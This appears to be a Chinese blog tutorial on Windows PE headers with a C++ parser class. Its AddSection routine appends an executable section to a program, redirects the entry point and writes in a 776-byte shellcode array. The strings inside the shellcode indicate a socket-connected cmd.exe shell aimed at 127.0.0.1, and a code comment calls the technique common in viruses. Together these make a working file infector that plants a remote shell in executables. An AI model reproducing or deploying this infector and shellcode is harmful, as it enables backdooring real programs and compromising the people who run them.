一、相关PE结构体信息
PE平面结构图
IMAGE_DOS_HEADER——DOS头
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
IMAGE_NT_HEADERS——NT头
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
Signature:PE标识0x04字节 50 45 00 00
FileHeader:文件头0x14字节
OptionalHeader:可选头0xE0字节
IMAGE_SECTION_HEADER——区段头
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
二、解析PE类
PEFile.h
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
class CPEFile
{
public:
CPEFile();
~CPEFile();
bool Init(char * filename);// 初始化,获取DOS头与NT头
unsigned int GetEntryPoint();// 获取程序入口点
unsigned int GetImageBase();// 获取基址
unsigned int GetImageSize();// 获取映像大小
bool AddSection(char * name,unsigned int size);// 添加一个区段
unsigned int GetSectionCnt();// 获取区段数量
IMAGE_SECTION_HEADER * GetFirstSection();// 获取第一个区段信息
IMAGE_SECTION_HEADER * GetLastSection();// 获取最后一个区段信息
unsigned int GetSectionAlignment();// 获取内存中的对齐值
unsigned int GetFileAlignment();// 获取文件的对齐值
unsigned int GetRVA(unsigned int offset);// 根据文件偏移量获取RVA
unsigned int GetOffset(unsigned int RVA);// 根据RVA获取文件偏移量
unsigned int GetResource();//
unsigned int GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level);
private:
FILE * fp;
unsigned int m_nFileSize;
byte * m_pBuf;//文件在本程序的内存缓冲区
IMAGE_DOS_HEADER * m_pDosHeader;
IMAGE_NT_HEADERS * m_pNtHeader;
IMAGE_SECTION_HEADER * m_pTextSectionHeader;
};
PEFile.cpp
#include "PEFile.h"
unsigned char shellcode[776] = {
0x58, 0x66, 0x05, 0x13, 0x02, 0xFF, 0xE0, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF, 0x55, 0x8B, 0xEC, 0x33,
0xDB, 0x66, 0xBB, 0x30, 0x02, 0x2B, 0xE3, 0x53, 0x56, 0x57, 0xB9, 0x8D, 0x10, 0xB7, 0xF8, 0xE8,
0xE3, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xC6, 0x45, 0xE7, 0x77, 0xC6, 0x45,
0xE8, 0x73, 0xC6, 0x45, 0xE9, 0x32, 0xC6, 0x45, 0xEA, 0x5F, 0xC6, 0x45, 0xEB, 0x33, 0xC6, 0x45,
0xEC, 0x32, 0xC6, 0x45, 0xED, 0x2E, 0xC6, 0x45, 0xEE, 0x64, 0xC6, 0x45, 0xEF, 0x6C, 0xC6, 0x45,
0xF0, 0x6C, 0x32, 0xC0, 0x88, 0x45, 0xF1, 0x36, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0x95, 0xE4, 0xFD,
0xFF, 0xFF, 0xB9, 0x40, 0xD5, 0xDC, 0x2D, 0xE8, 0x9B, 0xFF, 0xFF, 0xFF, 0xB9, 0x6F, 0xF1, 0xD4,
0x9F, 0x8B, 0xF0, 0xE8, 0x8F, 0xFF, 0xFF, 0xFF, 0xB9, 0x82, 0xA1, 0x0D, 0xA5, 0x8B, 0xF8, 0xE8,
0x83, 0xFF, 0xFF, 0xFF, 0xB9, 0x70, 0xBE, 0x1C, 0x23, 0x89, 0x85, 0xD0, 0xFD, 0xFF, 0xFF, 0xE8,
0x73, 0xFF, 0xFF, 0xFF, 0xB9, 0xD1, 0xFE, 0x73, 0x1B, 0x89, 0x85, 0xD4, 0xFD, 0xFF, 0xFF, 0xE8,
0x63, 0xFF, 0xFF, 0xFF, 0xB9, 0xE2, 0xFA, 0x1B, 0x01, 0xE8, 0x59, 0xFF, 0xFF, 0xFF, 0xB9, 0xC9,
0x53, 0x29, 0xDC, 0x89, 0x85, 0xDC, 0xFD, 0xFF, 0xFF, 0xE8, 0x49, 0xFF, 0xFF, 0xFF, 0xB9, 0x6E,
0x85, 0x1C, 0x5C, 0x8B, 0xD8, 0xE8, 0x3D, 0xFF, 0xFF, 0xFF, 0xB9, 0xE0, 0x53, 0x31, 0x4B, 0x89,
0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xE8, 0x2D, 0xFF, 0xFF, 0xFF, 0xB9, 0x98, 0x94, 0x8E, 0xCA, 0x89,
0x85, 0xD8, 0xFD, 0xFF, 0xFF, 0xE8, 0x1D, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE0, 0xFD, 0xFF, 0xFF,
0x8D, 0x85, 0x48, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x66, 0xB8, 0x02, 0x02, 0x50, 0xFF, 0xD6,
0x50, 0x50, 0x50, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xFF, 0xD7, 0x8B, 0xF0, 0xC6, 0x45, 0xE7,
0x31, 0xC6, 0x45, 0xE8, 0x32, 0xC6, 0x45, 0xE9, 0x37, 0xC6, 0x45, 0xEA, 0x2E, 0xC6, 0x45, 0xEB,
0x30, 0xC6, 0x45, 0xEC, 0x2E, 0xC6, 0x45, 0xED, 0x30, 0xC6, 0x45, 0xEE, 0x2E, 0xC6, 0x45, 0xEF,
0x31, 0x32, 0xC0, 0x88, 0x45, 0xF0, 0x8D, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x50,
0x50, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0xD3, 0x6A, 0x02, 0x50, 0x50, 0x6A, 0x10, 0x8D, 0x45, 0xEC,
0x50, 0x8B, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0xFF, 0x70, 0x10, 0xFF, 0x70, 0x18, 0xFF, 0x95, 0xE4,
0xFD, 0xFF, 0xFF, 0x8D, 0x45, 0xEC, 0xB1, 0x52, 0xC1, 0xE1, 0x18, 0xB1, 0x02, 0x89, 0x4D, 0xDC,
0x50, 0xFF, 0x95, 0xDC, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x89, 0x45, 0xE0,
0x8D, 0x45, 0xDC, 0x6A, 0x10, 0x50, 0x56, 0xFF, 0x95, 0xD0, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0xB1,
0x44, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x33, 0xD2, 0x88, 0x10, 0x8D, 0x40, 0x01, 0x49, 0x75,
0xF8, 0x33, 0xC0, 0x33, 0xDB, 0xB3, 0x44, 0x89, 0x9D, 0xE8, 0xFD, 0xFF, 0xFF, 0xB3, 0x01, 0xC1,
0xE3, 0x08, 0x89, 0x9D, 0x14, 0xFE, 0xFF, 0xFF, 0x66, 0x89, 0x85, 0x18, 0xFE, 0xFF, 0xFF, 0x89,
0xB5, 0x28, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x24, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x20, 0xFE, 0xFF,
0xFF, 0xC6, 0x45, 0xE7, 0x63, 0xC6, 0x45, 0xE8, 0x6D, 0xC6, 0x45, 0xE9, 0x64, 0xC6, 0x45, 0xEA,
0x2E, 0xC6, 0x45, 0xEB, 0x65, 0xC6, 0x45, 0xEC, 0x78, 0xC6, 0x45, 0xED, 0x65, 0x88, 0x45, 0xEE,
0x8D, 0x85, 0x34, 0xFE, 0xFF, 0xFF, 0x50, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x50, 0x51, 0x51,
0x51, 0x6A, 0x01, 0x51, 0x51, 0x8D, 0x45, 0xE7, 0x50, 0x51, 0xFF, 0x95, 0xD4, 0xFD, 0xFF, 0xFF,
0x6A, 0xFF, 0xFF, 0xB5, 0x34, 0xFE, 0xFF, 0xFF, 0xFF, 0x95, 0xE0, 0xFD, 0xFF, 0xFF, 0xC3, 0x55,
0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x89, 0x4D, 0xF8, 0x33, 0xC9, 0xB1, 0x30, 0x64, 0x8B, 0x01, 0x89,
0x45, 0xFC, 0x8B, 0x45, 0xFC, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0xD0,
0x89, 0x45, 0xEC, 0x8B, 0x5A, 0x10, 0x8D, 0x42, 0xF8, 0x8B, 0x12, 0x89, 0x55, 0xF0, 0x85, 0xDB,
0x74, 0x21, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x85, 0xC0, 0x74, 0x16, 0x8B, 0x4C, 0x18,
0x0C, 0x8D, 0x3C, 0x18, 0x03, 0xCB, 0x89, 0x7D, 0xFC, 0x33, 0xF6, 0x8A, 0x01, 0x84, 0xC0, 0x74,
0x1A, 0xEB, 0x02, 0xEB, 0x62, 0xC1, 0xCE, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83,
0xE8, 0x20, 0x41, 0x03, 0xF0, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xEA, 0x8B, 0x4D, 0xFC, 0x8B, 0x47,
0x20, 0x33, 0xFF, 0x03, 0xC3, 0x89, 0x45, 0xF4, 0x39, 0x79, 0x18, 0x76, 0x3A, 0x8B, 0x14, 0xB8,
0x33, 0xC0, 0x03, 0xD3, 0x8A, 0x0A, 0x84, 0xC9, 0x74, 0x17, 0xC1, 0xC8, 0x0D, 0x80, 0xF9, 0x61,
0x0F, 0xBE, 0xC9, 0x7C, 0x03, 0x83, 0xE9, 0x20, 0x42, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9, 0x75,
0xE9, 0x03, 0xC6, 0x39, 0x45, 0xF8, 0x74, 0x21, 0x8B, 0x45, 0xFC, 0x47, 0x3B, 0x78, 0x18, 0x8B,
0x45, 0xF4, 0x72, 0xC9, 0x8B, 0x55, 0xF0, 0x3B, 0x55, 0xEC, 0x0F, 0x85, 0x63, 0xFF, 0xFF, 0xFF,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x55, 0xFC, 0x8B, 0x42, 0x24, 0x8D,
0x04, 0x78, 0x0F, 0xB7, 0x0C, 0x18, 0x8B, 0x42, 0x1C, 0x5F, 0x5E, 0x8D, 0x04, 0x88, 0x8B, 0x04,
0x18, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};
CPEFile::CPEFile()
{
m_nFileSize = 0;
m_pBuf = 0;
m_pDosHeader = 0;
m_pNtHeader = 0;
}
CPEFile::~CPEFile()
{
if (m_pBuf)
{
delete[] m_pBuf;
}
}
bool CPEFile::Init(char * filename)
{
fp = fopen(filename, "rb+");
if (fp == 0)
{
return false;
}
fseek(fp,0, SEEK_END);
m_nFileSize = ftell(fp);
if (m_pBuf)
{
delete[] m_pBuf;
}
m_pBuf = new byte[m_nFileSize];
fseek(fp,0, SEEK_SET);
fread(m_pBuf, 1, m_nFileSize, fp);
fclose(fp);
m_pDosHeader = (IMAGE_DOS_HEADER *)m_pBuf;
m_pNtHeader = (IMAGE_NT_HEADERS *)(m_pBuf + m_pDosHeader->e_lfanew);
return true;
}
unsigned int CPEFile::GetEntryPoint()
{
if (m_pNtHeader)
return m_pNtHeader->OptionalHeader.AddressOfEntryPoint;
return 0;
}
unsigned int CPEFile::GetImageBase()
{
if (m_pNtHeader)
return m_pNtHeader->OptionalHeader.ImageBase;
return 0;
}
unsigned int CPEFile::GetImageSize()
{
if (m_pNtHeader)
return m_pNtHeader->OptionalHeader.SizeOfImage;
return 0;
}
// 添加一个区段。。。病毒里面常用。。。
bool CPEFile::AddSection(char * name, unsigned int size)
{
IMAGE_SECTION_HEADER * newSection = GetLastSection();
newSection++;
// 新区段的名称
sprintf_s((char *)newSection->Name, 8, name);
IMAGE_SECTION_HEADER * lastSection = GetLastSection();
//内存中偏移与大小
newSection->VirtualAddress = lastSection->VirtualAddress + lastSection->Misc.VirtualSize;
if (newSection->VirtualAddress % GetSectionAlignment())
{
newSection->VirtualAddress += (GetSectionAlignment() - newSection->VirtualAddress % GetSectionAlignment());
}
newSection->Misc.VirtualSize = size;
// 文件中偏移与大小
newSection->PointerToRawData = lastSection->PointerToRawData + lastSection->SizeOfRawData;
if (newSection->PointerToRawData % GetFileAlignment())
{
newSection->PointerToRawData += (GetFileAlignment() - newSection->PointerToRawData % GetFileAlignment());
}
newSection->SizeOfRawData = size;
// 区段属性
newSection->Characteristics = 0xE0000020;//可执行,可读取,可写入
// newSection->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
m_pNtHeader->FileHeader.NumberOfSections += 1;
m_pNtHeader->OptionalHeader.SizeOfCode += size;
m_pNtHeader->OptionalHeader.SizeOfImage += size;
// 修改入口点到新加入的区段中..
m_pNtHeader->OptionalHeader.AddressOfEntryPoint = newSection->VirtualAddress + 0x0c;
printf("start to save ...\n");
FILE * fpbak = fopen("bk.exe", "wb+");
if (fpbak == 0)
{
printf("open bk.exe failed\n");
return false;
}
fseek(fpbak, 0, SEEK_SET);
fwrite(m_pBuf, m_nFileSize, 1, fpbak);
byte * tmp = new byte[size];
memset(tmp, 0, size);
fwrite(tmp, size, 1, fpbak);
fseek(fpbak, 0 - size, SEEK_END);
fwrite(shellcode, sizeof(shellcode), 1, fpbak);
fclose(fpbak);
delete[] tmp;
return false;
}
/************************************************************************/
/* 获取区段数量 */
/************************************************************************/
unsigned int CPEFile::GetSectionCnt()
{
return m_pNtHeader->FileHeader.NumberOfSections;
}
/************************************************************************/
/* 获取第一个区段的索引表项目 */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetFirstSection()
{
return (IMAGE_SECTION_HEADER *)(m_pBuf + m_pDosHeader->e_lfanew + 0xf8);
}
/************************************************************************/
/* 获取最后一个区段的索引表项目 */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetLastSection()
{
IMAGE_SECTION_HEADER * tmp = GetFirstSection();
for (unsigned int i = 0; i < GetSectionCnt() - 1;i++)
{
tmp++;
}
return tmp;
}
/************************************************************************/
/* 获取在内存中的对齐值 */
/************************************************************************/
unsigned int CPEFile::GetSectionAlignment()
{
return m_pNtHeader->OptionalHeader.SectionAlignment;
}
/************************************************************************/
/* 获取在文件中的对齐值 */
/************************************************************************/
unsigned int CPEFile::GetFileAlignment()
{
return m_pNtHeader->OptionalHeader.FileAlignment;
}
/************************************************************************/
/* 从文件偏移转换成内存偏移RVA */
/************************************************************************/
unsigned int CPEFile::GetRVA(unsigned int offset)
{
IMAGE_SECTION_HEADER * tmp = GetFirstSection();
// 遍历所有区段,找包含本文件偏移的区段,并返回RVA
for (unsigned int i = 0; i < GetSectionCnt() - 1;i++)
{
if (tmp->PointerToRawData <= offset && (tmp->PointerToRawData+tmp->SizeOfRawData)>offset)
{
return tmp->VirtualAddress + offset - tmp->PointerToRawData;
}
tmp++;
}
return 0;
}
/************************************************************************/
/* 从RVA转换成文件偏移 */
/************************************************************************/
unsigned int CPEFile::GetOffset(unsigned int RVA)
{
IMAGE_SECTION_HEADER * tmp = GetFirstSection();
// 遍历所有区段,找包含本RVA的区段,并返回文件偏移
for (unsigned int i = 0; i < GetSectionCnt() - 1; i++)
{
if (tmp->VirtualAddress <= RVA && (tmp->VirtualAddress + tmp->Misc.VirtualSize)>RVA)
{
return tmp->PointerToRawData + RVA - tmp->VirtualAddress;
}
tmp++;
}
return 0;
}
unsigned int CPEFile::GetResource()
{
IMAGE_RESOURCE_DIRECTORY * pRoot = (IMAGE_RESOURCE_DIRECTORY *)(m_pBuf + GetOffset((unsigned int)m_pNtHeader->OptionalHeader.DataDirectory[2].VirtualAddress));
return GetResourceItem(pRoot,0,1);
}
//**写成递归方式。。。
unsigned int CPEFile::GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level)
{
IMAGE_RESOURCE_DIRECTORY * pNow = (IMAGE_RESOURCE_DIRECTORY *)((LPBYTE)pRoot + offset);
unsigned int nItemCnt = pNow->NumberOfIdEntries + pNow->NumberOfNamedEntries;
for (unsigned int n = 0; n < nItemCnt; n++)
{
IMAGE_RESOURCE_DIRECTORY_ENTRY * pDirectoryEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)((LPBYTE)pNow +16 + n * 8);
for (unsigned int i = 0; i < level;i++)
{
printf("\t");
}
if (pDirectoryEntry->NameIsString)
{
wprintf(L"%d,name %s , ",level, (WCHAR *)((LPBYTE)pRoot + pDirectoryEntry->NameOffset + 2));
}
else
{
printf("%d,id : %08X , ",level, pDirectoryEntry->Id);
}
if (pDirectoryEntry->DataIsDirectory)
{
printf("resource directory\n");
GetResourceItem(pRoot, pDirectoryEntry->OffsetToData & 0x7fffffff,level+1);
}
else
{
IMAGE_RESOURCE_DATA_ENTRY * pData = (IMAGE_RESOURCE_DATA_ENTRY *)((LPBYTE)pRoot + pDirectoryEntry->OffsetToData);
printf("data entry RVA %08X,size %8d\n", pData->OffsetToData,pData->Size);
char filename[50];
sprintf_s(filename, "RVA%08X-OFFSET%08x-SIZE%08X", pData->OffsetToData,GetOffset(pData->OffsetToData),pData->Size);
FILE * fp = fopen(filename, "wb+");
if (fp)
{
fseek(fp, 0, SEEK_SET);
fwrite(m_pBuf + GetOffset(pData->OffsetToData), pData->Size, 1, fp);
fclose(fp);
}
}
}
return pRoot->NumberOfNamedEntries + pRoot->NumberOfIdEntries;
}
测试代码(test.exe为一个可执行程序)
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include "PEFile.h"
int main(int argc, char *argv[])
{
printf("PE解析\n");
CPEFile pefile;
pefile.Init("test.exe");
printf("入口点 \t: %08X\n", pefile.GetEntryPoint());
printf("镜像基址\t: %08X\n", pefile.GetImageBase());
printf("镜像大小\t: %08X\n", pefile.GetImageSize());
printf("offset 0x500 - RVA = %08X\n", pefile.GetRVA(0x500));
pefile.GetResource();
return 0;
}
本文难免有所错误,如有问题欢迎留言